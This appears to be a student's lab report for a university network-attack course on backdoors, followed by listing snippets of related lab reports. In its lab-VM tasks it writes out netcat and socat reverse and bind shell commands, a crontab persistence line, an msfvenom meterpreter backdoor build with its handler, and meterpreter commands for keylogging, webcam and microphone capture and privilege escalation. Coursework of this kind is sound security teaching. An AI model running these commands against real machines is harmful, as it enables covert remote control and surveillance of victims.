关键词:
2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
- 后门的基本概念及实验内容
- 常用后门工具
- netcat
- Win获得Linux Shell
- Linux获得Win Shell
- Meterpreter
- netcat
- 实验内容
- 实验遇到的问题及解决方法
- 实验总结与体会
后门的基本概念及基础问题回答
一、后门的概念
- 未认证、隐通道、专门应用
- 程序、投送、启动、隐藏
二、基础问题回答
- 问:例举你能想到的一个后门进入到你系统中的可能方式?
- 当我们打开一个网页时,如果该网页会自动链接到木马程序的话,就会在后台自动下载安装木马的安装程序,并会自动安装木马,生成可执行文件,以此在系统留下后门。
- 或者在非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,因此留下后门。
- 问:例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
- Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode
- 问:Meterpreter有哪些给你映像深刻的功能?
- 在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。
- 问:如何发现自己有系统有没有被安装后门?
- 打开防火墙,查看有没有异常开放的端口;
- 安装杀毒软件,实时监控电脑,定时对系统进行检测;
- 查看任务计划程序、开机自启动项、注册表项中是否有可疑程序。
常用后门工具
netcat
Windows获得Linux Shell
- 在Windows下使用
ipconfig
查看本机IP
- 使用ncat.exe程序打开监听
ncat.exe -l -p 5318
- 在kali中反弹连接Windows,
ncat 169.254.175.85 5318 -e /bin/sh
,使用-e
选项执行shell程序
- Windows成功获得kali的shell
Linux获得Windows Shell
- 在kali中使用
ifconfig
查看IP
- 打开监听
nc -l -p 5318
- 在Windows中反弹连接kali,
ncat.exe -e cmd.exe 192.168.208.129 5318
- kali成功获得Windows的命令提示
使用nc传输数据
Windows下监听
5318
端口,ncat.exe -l 5318
kali反弹连接到Windows的
5318
端口,nc 169.254.175.85 5318
连接建立成功,双方可以相互传输数据
使用nc传输文件
Windows下监听
5318
端口,并把收到的数据保存到file1.out
中,ncat.exe -l 5318 > file1.out
kali反弹连接到Windows的
5318
端口,nc 169.254.175.85 5318 < file1.in
连接建立成功,Win可以收到kali发来的文件。
Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
在下面的任务三中我们就用到了Metaspolit的msfvenom指令
- 参数说明
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
>
输出到哪个文件
实验内容
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
在Windows系统下,监听
5318
端口在Kali环境下,用
crontab -e
指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3
(第一次会提示选择编辑器,以后就不会提示了);在最后一行添加
26 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh
,意思是在每个小时的第26分钟反向连接Windows主机的5318端口,设置成26的原因是我当时的时间是16点24,为了能立马看到效果,所以我将时间设置成了26;
- 但时间到达26分钟时如下图所示:
任务二:使用socat获取主机操作Shell, 任务计划启动
socat:
- socat是ncat的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
搜索打开“计算机管理”
在“任务计划程序”中“创建任务”
- 填写任务名->新建一个触发器
https://images2018.cnblogs.com/blog/1071476/201803
/1071476-20180328210311123-1041484837.png
- 在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5318 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5318
,同时把cmd.exe
的stderr
重定向到stdout
上:
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
- 此时,在Kali环境下输入指令
socat - tcp:169.254.175.85:5318
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5318
端口,此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 -f exe > 20165318_backdoor.exe
,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“20165318_backdoor.exe”
在Windows下执行
ncat.exe -l 5318 > 20165318_backdoor.exe
,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5318 > 20165318_backdoor.exe
指令,通过-lv
选项看到当前的连接状态,下面这个图是文件传输成功的截图
在Linux中执行
nc 169.254.175.85 5318 < 20165318_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP传送接收文件成功,如下图所示
在Kali上使用msfconsole指令进入msf控制台,这时候我们能看到一个可爱的小人~而且每次打开都是不一样的图案!
输入
use exploit/multi/handler
使用监听模块,设置payloadset payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.208.129
,这里用的是LinuxIP,和生成后门程序时指定的IP相同set LPORT 5318
,同样要使用相同的端口
设置完成后,执行监听
运行Windows下的后门程序
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用
record_mic
指令可以截获一段音频,可以用-d
选项设置录制时间
使用
webcam_snap
指令可以使用摄像头进行拍照
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
使用
screenshot
指令可以进行截屏,效果如下:
先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权
也可以用
webcam stream
指令可以使用摄像头进行录像
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
暂时还没有做出来,后期会继续跟进
实验遇到的问题及解决方法
本次实验由于我提前关闭了防火墙,在实验过程中没有遇到什么问题。
实验总结与体会
- 在2017年学院的信安大赛微视演绎环节的作品《机要风云》给我留下了很深的影响。作品中一名饰演黑客的学长熟练地运用后门技术,简单的敲击了几下键盘,就远程控制了因主人公误操作而感染木马的涉密主机,然后调用摄像头截屏并获取本地机密文件,当时觉得这波操作简直超级炫酷!没想到现在的我也能做类似的事情,当第一次在攻击机上执行被控主机的shell,还是挺高兴的。在逐步实现一个个任务,最后调取被控主机录像的时候,心中的成就感油然而生,哈哈哈。
- 虽然现在的我仅仅只是了解后门的基本原理,掌握了最基本的后门的生成、投送、启动,但有了现在的基础,一步步循序渐进,我会学到更深入的知识~
- 同时,我也更认识到系统防范入侵的能力之低的事实,也使我对一些常见的攻击有了基础的了解,提高了自己的安全意识。
2018-2019-2网络对抗技术20165318exp5msf基础应用(代码片段)
2018-2019-2网络对抗技术20165318Exp5MSF基础应用原理与实践说明实践原理实践内容概述基础问题回答攻击实例主动攻击的实践ms08_067_netapi:自动化漏洞溢出攻击payload:generic/shell_bind_tcp(成功且唯一)ms17_010_eternalblue:“永恒之蓝”自动化... 查看详情
2018-2019-2网络对抗技术20165318exp4恶意代码分析(代码片段)
2018-2019-2网络对抗技术20165318Exp4恶意代码分析原理与实践说明实践目标实践内容概述基础问题回答实践过程记录1.使用schtasks指令监控系统2.使用sysmon工具监控系统恶意软件分析3.使用VirusTotal分析恶意软件4.使用PEiD分析恶意软件5.... 查看详情
2018-2019-2网络对抗技术20165318exp2后门原理与实践(代码片段)
2018-2019-2网络对抗技术20165318Exp2后门原理与实践后门的基本概念及实验内容常用后门工具netcatWin获得LinuxShellLinux获得WinShellMeterpreter实验内容任务一:使用netcat获取主机操作Shell,cron启动任务二:使用socat获取主机操作Shell,任务计... 查看详情
2018-2019-2网络对抗技术20165212exp7网络欺诈防范
2018-2019-2网络对抗技术20165212Exp7网络欺诈防范原理与实践说明1.实践目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法。2.实践内容概述简单应用SET工具建立冒名网站(1分)ettercapDNSspoof(1分)结合应用两... 查看详情
2018-2019-2网络对抗技术20165324exp7:网络欺诈防范(代码片段)
2018-2019-2网络对抗技术20165324Exp7:网络欺诈防范课下实验实践内容(3.5分)本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法。具体实践有简单应用SET工具建立冒名网站(1分)ettercapDNSspoof(1分... 查看详情
2018-2019-2网络对抗技术20165228exp7网络欺诈防范(代码片段)
2018-2019-2网络对抗技术20165228Exp7网络欺诈防范回答问题(1)通常在什么场景下容易受到DNSspoof攻击这个问题在此次实验中就可以得出答案,实验中的流程需要连接到不安全的网络,需要扫描到靶机后才能设置为目标,所以一般是... 查看详情
2018-2019-2网络对抗技术20165324exp9:web安全基础(代码片段)
2018-2019-2网络对抗技术20165324Exp9:Web安全基础课下实验实验内容概述Webgoat准备SQL注入攻击命令注入(CommandInjection)数字型注入(NumericSQLInjection)日志欺骗(LogSpoofingSQL注入(LAB:SQLInjection)字符串注入(StringSQLInjection)数字型盲... 查看详情
2018-2019-2网络对抗技术20165237exp8web基础(代码片段)
2018-2019-2网络对抗技术20165237Exp8Web基础实验目标(1).Web前端HTML(0.5分)能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。(2).Web前端javascipt(0.5分)理解JavaScript的基本功能,理解DOM。编写JavaScript验... 查看详情
2018-2019-2网络对抗技术20165216exp9web安全基础(代码片段)
2018-2019-2网络对抗技术20165216Exp9Web安全基础1.1.实验内容概述本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。1.2.实验环境KaliLinux-64bit(IP为192.168.43.145)Win10-64b... 查看详情
2018-2019-2网络对抗技术20165225exp7信息搜集与漏洞扫描
2018-2019-2网络对抗技术20165225Exp7信息搜集与漏洞扫描实践内容(1)简单应用SET工具建立冒名网站(1分)(2)ettercapDNSspoof(1分)(3)结合应用两种技术,用DNSspoof引导特定访问到冒名网站。(1.5分)(4)请勿使用外部网站做实... 查看详情
2018-2019-2网络对抗技术20165205exp8web基础(代码片段)
2018-2019-2网络对抗技术20165205Exp8Web基础1.原理与实践说明1.1实践内容Web前段HTML:能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTMLWeb前段JavaScript:理解JavaScript的基本功能,理解DOM。编写JavaS... 查看详情
2018-2019-2网络对抗技术20165220exp9web安全基础(代码片段)
2018-2019-2网络对抗技术20165220Exp9Web安全基础实验任务本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。基础问题回答(1)SQL注入攻击原理,如何防御?攻击原... 查看详情
2018-2019-2网络对抗技术20165225exp9web安全基础(代码片段)
2018-2019-2网络对抗技术20165225Exp9Web安全基础实践内容本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。报告内容WebGoatWebGoat是OWASP组织研制出的用于进行web漏洞... 查看详情
2018-2019-2网络对抗技术20165232exp9web安全基础(代码片段)
2018-2019-2网络对抗技术20165232Exp9Web安全基础实验任务本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。基础问题回答(1)SQL注入攻击原理,如何防御答:攻击... 查看详情
2018-2019-2《网络对抗技术》exp0kali安装week120165237
2018-2019-2《网络对抗技术》Exp0Kali安装Week120165237安装虚拟机首先创建虚拟机创建好虚拟机后,打开虚拟机进行安装。第一步选择Graphcalinstall主机名为我的名字设置好语言后,开始安装系统(真的是好长时间哦!)安装成功安装功... 查看详情
2018-2019-2网络对抗技术20165225exp8web安全基础(代码片段)
2018-2019-2网络对抗技术20165225Exp8Web安全基础实践内容Web前端HTML(0.5分)能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。Web前端javascipt(0.5分)理解JavaScript的基本功能,理解DOM。编写JavaScript验... 查看详情
2018-2019-2《网络对抗技术》exp0kali安装week120165308张士洋
2018-2019-2《网络对抗技术》Exp0Kali安装Week120165308张士洋1、进入官网下载KaliLinuxVirtualBox版本的镜像文件。2、解压并打开下载好的镜像文件。3、选择网络格式,导入。4、导入成功后,安装扩展包。5、设置好共享文件夹。(过程忘... 查看详情
2018-2019-2网络对抗技术20165231exp7网络欺诈防范(代码片段)
实践内容(3.5分)本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法。具体实践有(1)简单应用SET工具建立冒名网站(1分)(2)ettercapDNSspoof(1分)(3)结合应用两种技术,用DNSspoof引导特定... 查看详情